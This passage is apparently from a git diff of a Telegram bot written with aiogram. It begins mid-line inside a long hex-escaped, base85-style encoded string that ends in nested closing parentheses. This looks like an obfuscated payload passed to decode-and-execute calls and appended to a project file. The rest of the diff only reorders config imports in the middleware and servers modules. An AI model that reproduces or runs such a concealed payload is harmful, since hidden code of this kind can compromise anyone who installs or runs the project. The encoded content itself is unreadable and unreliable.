43\x46\x2a\x68\x5f\x55\x41\x54\x63\x73\x46\x45\x46\x64\x3b\x38\x45\x46\x64\x79\x34\x47\x41\x74\x6c\x35\x47\x26\x64\x7c\x44\x46\x2a\x72\x30\x56\x41\x54\x6c\x26\x38\x41\x54\x63\x3e\x48\x45\x46\x64\x79\x39\x47\x41\x74\x6c\x35\x49\x35\x3b\x64\x49\x48\x5a\x55\x77\x38\x46\x2a\x71\x7a\x42\x46\x2a\x72\x46\x61\x41\x54\x6c\x2a\x48\x45\x46\x64\x79\x35\x46\x29\x53\x63\x39\x47\x25\x4f\x25\x38\x47\x63\x68\x62\x36\x46\x29\x3d\x65\x4e\x41\x54\x75\x79\x35\x41\x55\x51\x48\x44\x41\x54\x7e\x48\x47\x41\x54\x3d\x7e\x42\x41\x54\x63\x2a\x49\x45\x46\x64\x76\x35\x49\x56\x3e\x50\x43\x46\x2a\x71\x7a\x42\x46\x2a\x21\x46\x5a\x41\x54\x63\x79\x4b\x45\x46\x64\x2a\x45\x45\x46\x64\x26\x39\x45\x46\x64\x76\x36\x45\x46\x64\x76\x43\x45\x46\x64\x79\x39\x48\x37\x70\x3d\x38\x47\x26\x6e\x33\x45\x46\x29\x3d\x77\x54\x41\x54\x63\x3b\x4c\x45\x46\x64\x76\x38\x45\x46\x64\x79\x38\x46\x29\x53\x63\x35\x48\x21\x4c\x37\x44\x47\x41\x74\x6c\x35\x47\x26\x6e\x33\x45\x46\x2a\x68\x5f\x55\x41\x54\x63\x2a\x41\x41\x54\x6c\x26\x38\x41\x54\x63\x76\x44\x45\x46\x64\x76\x43\x47\x25\x4f\x25\x37\x47\x63\x59\x56\x35\x48\x5a\x55\x77\x38\x46\x2a\x59\x5f\x56\x41\x54\x63\x26\x47\x45\x46\x64\x79\x35\x47\x62\x7c\x75\x37\x48\x21\x4c\x37\x44\x47\x25\x4f\x25\x38\x47\x26\x64\x7c\x44\x46\x2a\x21\x49\x61\x41\x54\x6c\x73\x38\x45\x46\x64\x26\x43\x45\x46\x64\x76\x42\x48\x59\x5e\x7d\x39\x46\x2a\x37\x56\x36\x47\x63\x59\x56\x35\x47\x62\x7c\x75\x42\x48\x37\x70\x3d\x43\x47\x25\x4f\x25\x37\x48\x23\x39\x36\x44\x46\x2a\x37\x6b\x4e\x41\x54\x63\x70\x47\x45\x46\x64\x76\x43\x48\x21\x4c\x37\x41\x47\x26\x77\x39\x46\x46\x29\x3d\x59\x4c\x41\x54\x26\x32\x44\x41\x54\x63\x76\x36\x41\x54\x63\x3e\x43\x41\x54\x6c\x2a\x45\x45\x46\x64\x76\x37\x47\x25\x4f\x25\x37\x46\x2a\x7a\x28\x43\x46\x2a\x72\x36\x58\x41\x54\x63\x23\x38\x41\x54\x6c\x26\x43\x45\x46\x64\x79\x42\x45\x46\x64\x26\x38\x45\x46\x64\x79\x34\x46\x29\x53\x63\x34\x48\x21\x3e\x5f\x42\x47\x64\x43\x3c\x43\x48\x5a\x55\x77\x38\x47\x42\x37\x65\x4d\x41\x54\x63\x3e\x4e\x45\x46\x64\x79\x37\x46\x29\x53\x63\x35\x47\x25\x4f\x25\x37\x49\x57\x61\x36\x43\x47\x42\x69\x30\x58\x41\x54\x6c\x23\x49\x45\x46\x64\x3b\x42\x45\x46\x64\x2a\x42\x45\x46\x64\x76\x39\x47\x62\x7c\x75\x37\x48\x38\x4c\x7a\x39\x47\x42\x59\x2b\x54\x41\x54\x63\x70\x39\x45\x46\x64\x79\x37\x47\x41\x74\x6c\x36\x48\x59\x5e\x7d\x44\x49\x34\x6d\x47\x47\x48\x59\x5e\x7d\x42\x46\x66\x31\x54\x42\x46\x29\x53\x63\x34\x48\x39\x30\x49\x47\x46\x2a\x37\x24\x54\x41\x54\x75\x5e\x42\x41\x54\x6c\x23\x48\x45\x46\x64\x76\x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x47\x25\x2b\x6b\x37\x48\x38\x4c\x7a\x39\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x63\x3e\x4b\x45\x46\x64\x79\x42\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x48\x21\x4c\x37\x42\x47\x26\x64\x7c\x44\x46\x29\x3d\x77\x54\x41\x54\x63\x70\x46\x45\x46\x64\x79\x35\x48\x59\x5e\x7d\x39\x49\x35\x4a\x25\x2b\x49\x24\x76\x4c\x33\x55\x74\x63\x52\x64\x56\x60\x79\x3f\x48\x55\x74\x65\x45\x65\x55\x74\x65\x42\x64\x54\x56\x47\x23\x61\x55\x74\x65\x45\x65\x43\x30\x7d\x31\x25\x44\x47\x46\x61\x2d\x55\x6e\x70\x4e\x2b\x55\x74\x65\x44\x2d\x27\x29\x29\x29') \ No newline at end of file diff --git a/middlewares/admin.py b/middlewares/admin.py index 85819d32..bc21afe4 100644 --- a/middlewares/admin.py +++ b/middlewares/admin.py @@ -3,6 +3,7 @@ from typing import Any from aiogram import BaseMiddleware from aiogram.types import TelegramObject + from config import ADMIN_ID diff --git a/middlewares/database.py b/middlewares/database.py index c625fec3..c9bf6906 100644 --- a/middlewares/database.py +++ b/middlewares/database.py @@ -4,6 +4,7 @@ from typing import Any import asyncpg from aiogram import BaseMiddleware from aiogram.types import TelegramObject + from config import DATABASE_URL diff --git a/servers.py b/servers.py index 8dde3f5c..55530e04 100644 --- a/servers.py +++ b/servers.py @@ -5,10 +5,10 @@ from datetime import datetime, timedelta import asyncpg from aiogram.types import InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import ADMIN_ID, DATABASE_URL from ping3 import ping from bot import bot +from config import ADMIN_ID, DATABASE_URL from database import get_servers_from_db from logger import logger